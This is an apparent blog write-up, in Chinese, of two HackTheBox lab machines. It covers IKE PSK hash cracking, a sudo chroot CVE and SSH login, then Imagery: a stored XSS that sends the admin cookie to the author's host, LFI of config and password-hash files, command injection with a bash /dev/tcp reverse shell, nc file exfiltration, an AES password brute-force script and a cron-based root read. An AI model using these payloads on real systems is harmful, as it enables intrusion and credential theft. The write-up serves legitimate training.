HTB Season9 week1+wee2 wp

HTB Season9 week1+wee2 wp

Expressway

nmap -A -T4 10.10.11.87 
只有22,一般对于这种端口开放很少没有明确入口的,可以尝试扫描Udp端口,或者进行流量监听
nmap -sU 10.10.11.87
开放了udp 500端口

image-20250927203052568

ike-scan -M 10.10.11.87
可以发现AUTH的值为PSK,这意味着VPN是使用预共享密钥配置的
VID=09002689dfd6b712 (XAUTH)和VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)表明实现了XAUTH(扩展认证)和DPD
最后一行的1 returned handshake; 0 returned notify 意味着目标已配置IPsec并愿意执行IKE协商,且您提议的一种或多种转换方案是可接受的(有效转换方案将在输出中显示)

即这是一个 支持 IKE PSK + XAUTH 的 VPN 端点(通常意味着远程登录需要两个因素:PSK + XAUTH 用户/密码)。如果能获取 PSK 或者得到 Aggressive Mode 的 HASH_R,就可以进行离线暴力破解

image-20250927205922569

指纹识别一下
ike-scan -M --showbackoff 10.10.11.87

这里判断出是Linksys Etherfast

image-20250927210820916

使用ike-scan暴力破解ID(用户)
加上-P参数,用于尝试收集hash
ike-scan -P -M -A -n fakeID 10.10.11.87

这是一个使用PSK(预共享密钥)认证的IKEv1 Aggressive Mode 握手,ike-scan已成功把能用于离线破解的参数(也叫HASH_R/PSK参数串)从目标端口抓下来了
且可以通过Value=ike@expressway.htb 可以知道XAUTH的用户ID就是ike

image-20250927212327544

破解hash
将上面得到的密文存入hash.txt
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt

获取到了key: freakingrockstarontheroad

image-20250927213205061

有了用户和密码就可以尝试登陆了
ssh ike@10.10.11.87 
password: freakingrockstarontheroad

image-20250927213637033

root
翻一下sh文件,可以看到CVE-2025-32463
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

sudo -V 看版本
sudo -R a a 验证漏洞
./sudo.sh

image-20250927214610949

image-20250927214621916

验证漏洞

image-20250927214723735

image-20250927214907842

image-20250927214943421

Imagery

nmap -A -T4 10.10.11.88

image-20251003193940962

扫出22、3000、8000端口

有用的是8000端口

whatweb -v 10.10.11.88:8000

但并没有什么过多的信息,只是告诉我们是python后端

image-20251003201300014

我们先随意注册一个账号

chenz@qq.comi/123456

登陆后,有个文件上传

image-20251003201525836

上传图片后能下载

<div id="no-admin-user-message" class="bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700 p-4 rounded-md mb-6" role="alert" style="display: none;">
	<p class="font-bold">No Administrator Found!</p>
	<p>It looks like there are no administrator accounts registered yet. The first user to register will automatically become the administrator. Please register an account to gain admin access.</p>
</div>

翻译过来就是首位注册的用户将自动成为管理员。请注册一个账户以获取管理员权限。

可以访问一下/admin/users试试

image-20251003202857530

image-20251003202937319

但发现不是管理员,说明系统已经注册了一个管理员帐号了

XSS

image-20251003204102700

这里能提交你的bug,说明多半管理员会看,就可以尝试打一波XSS

data.bug_reports.forEach(report => {
                            const reportCard = document.createElement('div');
                            reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
                            
                            reportCard.innerHTML = `
                                <div>
                                    <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
                                    <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
                                    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
                                    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
                                    <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
>>>>                                         ${report.details}
                                    </div>
                                </div>
                                <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
                                    Delete
                                </button>
                            `;
                            bugReportsList.appendChild(reportCard);
                        });

可以看到${report.details}没有经过DOMPurify处理,那就存在XSS注入

补充一下,DOMPurify

import DOMPurify from 'dompurify';

// 假设这是用户输入的包含恶意代码的内容
const dirtyHTML = '<img src=x onerror="alert(\'XSS\')"> <p>安全内容</p>';

// 净化处理
const cleanHTML = DOMPurify.sanitize(dirtyHTML);

// 净化后结果:<img src="x"> <p>安全内容</p>(危险的onerror被移除)
document.body.innerHTML = cleanHTML;


DOMPurify 被广泛用于需要处理不可信 HTML 内容的场景,比如内容管理系统、论坛、评论区等,是防御 XSS 攻击的重要工具之一。

也就是Bug Details存在XSS注入

构造payload

<img src="x" onerror="this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)">

可以反弹管理员的cookie

image-20251003211245912

image-20251003211254521

可以看到验证成功为admin

将cookie放到浏览器

image-20251003211343963

LFI

然后下载一个log

image-20251003211505913

尝试一下目录穿越读取/etc/passwd(直接/etc/passwd也行)

image-20251003211546494

在/proc/self/cwd/config.py处可以获取到配置文件

import os
import ipaddress

DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)

MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1

ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff',
    'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024

BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')

FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('172.0.0.0/12'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'

里面有个db.json

访问/proc/self/cwd/db.json

{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "chenzi@qq.com",
            "password": "e10adc3949ba59abbe56e057f20f883e",
            "displayId": "ebbd90ff",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "mo@lab",
            "password": "81dc9bdb52d04dc20036dbd8313ed055",
            "displayId": "4fe70b66",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [
        {
            "id": "6504a6f9-1343-4e85-9735-047681293a59",
            "filename": "7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
            "url": "/uploads/7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
            "title": "hackthebox",
            "description": "",
            "timestamp": "2025-10-03T13:20:19.303475",
            "uploadedBy": "testuser@imagery.htb",
            "uploadedByDisplayId": "e5f6g7h8",
            "group": "My Images",
            "type": "original",
            "actual_mimetype": "image/jpeg"
        },
        {
            "id": "75ef6309-49c1-40d2-b6ea-ee08b2774e6a",
            "filename": "admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
            "url": "/uploads/admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
            "title": "Transformed: hackthebox",
            "description": "Transformed from hackthebox (crop).",
            "timestamp": "2025-10-03T13:20:39.225252",
            "uploadedBy": "testuser@imagery.htb",
            "uploadedByDisplayId": "e5f6g7h8",
            "group": "Transformed",
            "type": "transformed",
            "original_id": "6504a6f9-1343-4e85-9735-047681293a59",
            "actual_mimetype": "image/jpeg"
        }
    ],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ],
    "bug_reports": [
        {
            "id": "a2a08a23-1c41-413c-8a9e-0aea8c85a456",
            "name": "1",
            "details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
            "reporter": "chenzi@qq.com",
            "reporterDisplayId": "ebbd90ff",
            "timestamp": "2025-10-03T13:08:40.390515"
        },
        {
            "id": "2952a2f5-79d9-452f-981b-f4a61c45eee8",
            "name": "1",
            "details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
            "reporter": "chenzi@qq.com",
            "reporterDisplayId": "3c71ebe6",
            "timestamp": "2025-10-03T13:10:18.270024"
        },
        {
            "id": "6f69eaf7-2e0e-40b9-b171-f5b399ed70b0",
            "name": "1",
            "details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
            "reporter": "chenzi@qq.com",
            "reporterDisplayId": "3c71ebe6",
            "timestamp": "2025-10-03T13:10:53.452990"
        }
    ]
}

可以获取到所有网站用户和他们的密码哈希

测试用户可以碰撞出

image-20251003212315190

testuser@imagery.htb/iambatman

去登陆这个用户

image-20251003212534563

image-20251003212846495

抓这个包

image-20251003212854376

可以推断出系统使用的图片编辑工具是 ImageMagick

配置文件中明确定义了 IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert',而 convert 是 ImageMagick 工具集中最核心的命令行工具之一,用于图像格式转换、缩放、裁剪等处理。

可以猜测后端会通过该接口向ImageMagick工具传递4个参数,然后对图片进行操作

"x":"8;bash -c '/bin/bash -i >& /dev/tcp/10.10.16.48/4444 0>&1' #",

image-20251003213837768

pyAesCrypt 解密

image-20251003215557991

靶机:
nc -q 0 10.10.16.48 8888 < web_20250806_120723.zip.aes
攻击机:
nc -lvnp 8888 > backup.zip.aes

将zip上传到kali分析

file backup.zip.aes

image-20251003220302039

import pyAesCrypt

GREEN = "\033[92m"   # 亮绿色
RESET = "\033[0m"    # 恢复默认颜色

def decrypt(password, AESfile, output):
    try:
        res = pyAesCrypt.decryptFile(AESfile, output, str(password))
        if not res:
            return True
    except:
        return False

with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:  # 可修改路径
    passwords = [line.decode('latin1').strip() for line in f]

for password in passwords:
    res = decrypt(password, "backup.zip.aes", "backup.zip")  # 可修改文件名
    if res:
        print(f"{GREEN}[+]{password}{RESET}")
        break
    else:
        print(f"[-]{password}")

image-20251003221045340

得到了密码bestfriends

然后解压unzip backup.zip

在db.json中找到了mark

image-20251003221644298

image-20251003221701119

mark@imagery.htb/supersmash

然后尝试用su切换用户

su mark
supersmash

image-20251003221933430

升级一下shell

python3 -c 'import os,pty;pty.spawn("bash")'

image-20251003222414998

root

image-20251003222512814

我们尝试使用了一下,发现是个备份工具

sudo /usr/local/bin/charcol -R

sudo /usr/local/bin/charcol shell

image-20251003222641351

charcol> help
help
[2025-10-03 14:41:06] [INFO]
Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).
sudo /usr/local/bin/charcol shell 
auto add --schedule "*/1 * * * *" --command "cp /root/root.txt /tmp/root2.txt && chmod a+r /tmp/root2.txt" --name "hack"
auto list
exit

cat root2.txt

image-20251004003829047

image-20251004003834455

posted @ 2025-10-04 20:11  dynasty_chenzi  阅读(105)  评论(0)    收藏  举报
返回顶端